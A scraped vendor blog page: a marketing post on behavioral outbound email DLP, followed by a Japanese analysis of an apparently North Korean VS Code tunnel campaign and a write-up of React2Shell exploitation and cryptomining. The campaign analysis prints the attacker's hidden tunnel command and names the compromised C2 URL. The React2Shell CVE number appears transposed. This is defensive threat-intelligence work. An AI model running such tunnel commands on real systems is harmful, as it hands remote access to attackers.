ブログ
/
Email
/
December 18, 2025

Why Organizations are Moving to Label-free, Behavioral DLP for Outbound Email

Modern data loss doesn’t always look like a regex match. It can look like everyday communication slightly out of context. Here’s how a domain specific language model paired with behavioral learning protects labeled and unlabeled data without slowing business down.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
18
Dec 2025

Why outbound email DLP needs reinventing

In 2025, the global average cost of a data breach fell slightly — but remains substantial at USD 4.44 million (IBM Cost of a Data Breach Report 2025). The headline figure hides a painful reality: many of these breaches stem not from sophisticated hacks, but from simple human error: mis-sent emails, accidental forwarding, or replying with the wrong attachment. Because outbound email is a common channel for sensitive data leaving an organization, the risk posed by everyday mistakes is enormous.

In 2025, 53% of data breaches involved customer PII, making it the most commonly compromised asset (IBM Cost of a Data Breach Report 2025). This makes “protection at the moment of send” essential. A single unintended disclosure can trigger compliance violations, regulatory scrutiny, and erosion of customer trust –consequences that are disproportionate to the marginal human errors that cause them.

Traditional DLP has long attempted to mitigate these impacts, but it relies heavily on perfect labelling and rigid pattern-matching. In reality, data loss rarely presents itself as a neat, well-structured pattern waiting to be caught – it looks like everyday communication, just slightly out of context.

How data loss actually happens

Most data loss comes from frustratingly familiar scenarios. A mistyped name in auto-complete sends sensitive data to the wrong “Alex.” A user forwards a document to a personal Gmail account “just this once.” Someone shares an attachment with a new or unknown correspondent without realizing how sensitive it is.

Traditional, content-centric DLP rarely catches these moments. Labels are missing or wrong. Regexes break the moment the data shifts formats. And static rules can’t interpret the context that actually matters – the sender-recipient relationship, the communication history, or whether this behavior is typical for the user.

It’s the everyday mistakes that hurt the most. The classic example: the Friday 5:58 p.m. mis-send, when auto-complete selects Martin, a former contractor, instead of Marta in Finance.

What traditional DLP approaches offer (and where gaps remain)

Most email DLP today follows two patterns, each useful but incomplete.

  • Policy- and label-centric DLP works when labels are correct — but content is often unlabeled or mislabeled, and maintaining classification adds friction. Gaps appear exactly where users move fastest
  • Rule and signature-based approaches catch known patterns but miss nuance: human error, new workflows, and “unknown unknowns” that don’t match a rule

The takeaway: Protection must combine content + behavior + explainability at send time, without depending on perfect labels.

Your technology primer: The three pillars that make outbound DLP effective

1) Label-free (vs. data classification)

Protects all content, not just what’s labeled. Label-free analysis removes classification overhead and closes gaps from missing or incorrect tags. By evaluating content and context at send time, it also catches misdelivery and other payload-free errors.

  • No labeling burden; no regex/rule maintenance
  • Works when tags are missing, wrong, or stale
  • Detects misdirected sends even when labels look right

2) Behavioral (vs. rules, signatures, threat intelligence)

Understands user behavior, not just static patterns. Behavioral analysis learns what’s normal for each person, surfacing human error and subtle exfiltration that rules can’t. It also incorporates account signals and inbound intel, extending across email and Teams.

  • Flags risk without predefined rules or IOCs
  • Catches misdelivery, unusual contacts, personal forwards, odd timing/volume
  • Blends identity and inbound context across channels

3) Proprietary DSLM (vs. generic LLM)

Optimized for precise, fast, explainable on-send decisions. A DSLM understands email/DLP semantics, avoids generative risks, and stays auditable and privacy-controlled, delivering intelligence reliably without slowing mail flow.

  • Low-latency, on-send enforcement
  • Non-generative for predictable, explainable outcomes
  • Governed model with strong privacy and auditability

The Darktrace approach to DLP

Darktrace / EMAIL – DLP stops misdelivery and sensitive data loss at send time using hold/notify/justify/release actions. It blends behavioral insight with content understanding across 35+ PII categories, protecting both labeled and unlabeled data. Every action is paired with clear explainability: AI narratives show exactly why an email was flagged, supporting analysts and helping end-users learn. Deployment aligns cleanly with existing SOC workflows through mail-flow connectors and optional Microsoft Purview label ingestion, without forcing duplicate policy-building.

Deployment is simple: Microsoft 365 routes outbound mail to Darktrace for real-time, inline decisions without regex or rule-heavy setup.

A buyer’s checklist for DLP solutions

When choosing your DLP solution, you want to be sure that it can deliver precise, explainable protection at the moment it matters – on send – without operational drag.  

To finish, we’ve compiled a handy list of questions you can ask before choosing an outbound DLP solution:

  • Can it operate label free when tags are missing or wrong? 
  • Does it truly learn per user behavior (no shortcuts)? 
  • Is there a domain specific model behind the content understanding (not a generic LLM)? 
  • Does it explain decisions to both analysts and end users? 
  • Will it integrate with your label program and SOC workflows rather than duplicate them? 

For a deep dive into Darktrace’s DLP solution, check out the full solution brief.

[related-resource]

Darktrace / EMAIL - DLP Solution Brief

Secure outbound communications effortlessly with the industry’s first label-free behavioral DLP with a proprietary DSLM.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email

More in this series

No items found.

Blog

/

Network

/

January 26, 2026

ダークトレース、韓国を標的とした、VS Codeを利用したリモートアクセス攻撃を特定

Default blog imageDefault blog image

はじめに

ダークトレースのアナリストは、韓国のユーザーを標的とした、北朝鮮(DPRK)が関係していると思われる攻撃を検知しました。このキャンペーンはJavascriptEncoded(JSE)スクリプトと政府機関を装ったおとり文書を使ってVisual Studio Code(VS Code)トンネルを展開し、リモートアクセスを確立していました。

技術分析

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
図1: 「2026年上半期国立大学院夜間プログラムの学生選抜に関する文書」という表題のおとり文書。

このキャンペーンで確認されたサンプルは、Hangul Word Processor (HWPX) 文書に偽装したJSEファイルであり、スピアフィッシングEメールを使って標的に送付されたと考えられます。このJSEファイルは複数のBase64エンコードされたブロブを含み、Windows Script Hostによって実行されます。このHWPXファイルは“2026年上半期国立大学院夜間プログラムの学生選抜に関する文書(1)”という名前で、C:\ProgramDataにあり、おとりとして開かれます。この文書は韓国の公務員に関連する事務を管掌する政府機関、人事革新処を装ったものでした。文書内のメタデータから、脅威アクターは文書を本物らしくみせるため、政府ウェブサイトから文書を取得し、編集したと思われます。

Base64 encoded blob.
図2: Base64エンコードされたブロブ

このスクリプトは次に、VSCode CLI ZIPアーカイブをMicrosoftからC:\ProgramDataへ、code.exe(正規のVS Code実行形式)およびout.txtという名前のファイルとともにダウンロードします。

隠されたウィンドウで、コマンドcmd.exe/c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene >"C:\ProgramData\out.txt" 2>&1 が実行され、 “bizeugene”という名前のVS Codeトンネルが確立されます。

VSCode Tunnel setup.
図3: VSCode トンネルの設定

VS Codeトンネルを使うことにより、ユーザーはリモートコンピューターに接続してVisualStudio Codeを実行できます。リモートコンピューターがVS Codeサーバーを実行し、このサーバーはMicrosoftのトンネルサービスに対する暗号化された接続を作成します。その後ユーザーはGitHubまたはMicrosoftにサインインし、VS CodeアプリケーションまたはWebブラウザを使って別のデバイスからこのマシンに接続することができます。VS Codeトンネルの悪用は2023年に最初に発見されて以来、東南アジアのデジタルインフラおよび政府機関を標的とする[1]中国のAPT(AdvancedPersistent Threat)グループにより使用されています。

 Contents of out.txt.
図4: out.txtの中身

“out.txt” ファイルには、VS Code Serverログおよび生成されたGitHubデバイスコードが含まれています。脅威アクターがGitHubアカウントからこのトンネルを承認すると、VS Codeを使って侵害されたシステムに接続されます。これにより脅威アクターはこのシステムに対する対話型のアクセスが可能となり、VS Codeターミナルやファイルブラウザーを使用して、ペイロードの取得やデータの抜き出しが可能になります。

GitHub screenshot after connection is authorized.
図5: 接続が承認された後のGitHub画面

このコード、およびトンネルトークン“bizeugene”が、POSTリクエストとしてhttps://www.yespp.co.kr/common/include/code/out.phpに送信されます。このコードは韓国にある正規のサイトですが、侵害されてC2サーバーとして使用されています。

まとめ

この攻撃で見られたHancom文書フォーマットの使用、政府機関へのなりすまし、長期のリモートアクセス、標的の選択は、過去に北朝鮮との関係が確認された脅威アクターの作戦パターンと一致しています。この例だけでは決定的なアトリビューションを行うことはできませんが、既存のDPRKのTTP(戦術、技法、手順)との一致は、このアクティビティが北朝鮮と関係を持つ脅威アクターから発生しているという確信を強めるものです。

また、このアクティビティは脅威アクターがカスタムマルウェアではなく正規のソフトウェアを使って、侵害したシステムへのアクセスを維持できる様子を示しています。VS Codeトンネルを使うことにより、攻撃者は専用のC2サーバーの代わりに、信頼されるMicrosoftインフラを使って通信を行うことができるのです。広く信頼されているアプリケーションの使用は、特に開発者向けツールがインストールされていることが一般的な環境では、検知をより困難にします。既知のマルウェアをブロックすることに重点を置いた従来型のセキュリティコントロールではこの種のアクティビティを識別することはできないかもしれません。ツール自体は有害なものではなく、多くの場合正規のベンダーによって署名されているからです。

作成:タラ・グールド(TaraGould)(マルウェア調査主任)
編集:ライアン・トレイル(Ryan Traill)(アナリストコンテンツ主任)

付録

侵害インジケータ (IoCs)

115.68.110.73 - 侵害されたサイトのIP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001- フィッシング: 添付ファイル

T1059- コマンドおよびスクリプトインタプリタ

T1204.002- ユーザー実行

T1027- ファイルおよび情報の難読化

T1218- 署名付きバイナリプロキシ実行

T1105- 侵入ツールの送り込み

T1090- プロキシ

T1041- C2チャネル経由の抜き出し

参考資料

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

Continue reading
About the author

Blog

/

/

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ